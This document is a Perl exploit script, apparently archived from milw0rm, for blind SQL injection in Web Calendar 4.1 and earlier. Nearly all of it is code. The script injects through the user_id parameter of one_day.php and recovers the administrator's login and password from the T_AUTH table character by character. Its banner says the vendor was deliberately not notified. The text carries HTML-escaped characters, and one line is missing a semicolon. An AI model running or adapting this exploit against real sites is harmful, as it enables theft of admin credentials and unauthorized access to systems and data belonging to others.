Web Calendar <= 4.1 - Blind SQL Injection Exploit

#!/usr/bin/perl use strict; use LWP::Simple; print &#34;-+--[ Web Calendar &#60;= 4.1 Blind SQL Injection Exploit ]--+-\n&#34;; print &#34;-+-- --+-\n&#34;; print &#34;-+-- Discovered && Coded By t0pP8uZz --+-\n&#34;; print &#34;-+-- Discovered On: 24 April 2008 --+-\n&#34;; print &#34;-+-- --+-\n&#34;; print &#34;-+-- Web Calendar suffers from a insecure mysql query --+-\n&#34;; print &#34;-+-- the vendor has not been notified.. and wont be.. --+-\n&#34;; print &#34;-+-- --+-\n&#34;; print &#34;-+-- Exploit tested in ActivePerl --+-\n&#34;; print &#34;-+-- --+-\n&#34;; print &#34;-+--[ Web Calendar &#60;= 4.1 Blind SQL Injection Exploit ]--+-\n&#34;; print &#34;\nEnter URL (ie: http://site.com/webcal/): &#34;; chomp(my $url=&#60;STDIN&#62;); print &#34;\n\nInjecting Please Wait..\n\n&#34; my $lop = 1; my $num = 48; my $sub = 1; my $res = undef; my $content = undef; while($lop) { $content = get($url.&#34;/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),&#34;.$sub.&#34;,1))=&#34;.$num.&#34;/*&#34;); if($content !~ /you are not in database/i && $num == 94) { $lop = 0; } elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res.&#34;\n&#34;; } else { $num++; } } print &#34;\nExploit Successfull! Admin Details Are: &#34;.$res; # Coded by t0pP8uZz # milw0rm.com [2008-04-22]